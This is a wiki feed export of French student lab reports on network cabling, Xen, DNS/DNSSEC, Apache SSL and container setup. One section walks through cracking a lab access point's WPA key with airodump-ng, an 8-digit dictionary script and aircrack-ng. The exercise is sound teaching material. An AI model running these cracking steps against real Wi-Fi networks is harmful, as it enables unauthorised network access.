Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
==Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
===Service internet===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Serveur DNS====&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.pw dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
====DNSSEC====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique la partie publique de la KSK à Gandi dans l'onglet DNSSEC&lt;br /&gt;
&lt;br /&gt;
====Serveur Apache====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/Dictionnary.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Crack_groupe7.png&amp;diff=48758</id>
		<title>Fichier:Crack groupe7.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Crack_groupe7.png&amp;diff=48758"/>
				<updated>2018-12-17T13:41:58Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48666</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48666"/>
				<updated>2018-12-13T15:16:48Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Crackage de clé WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
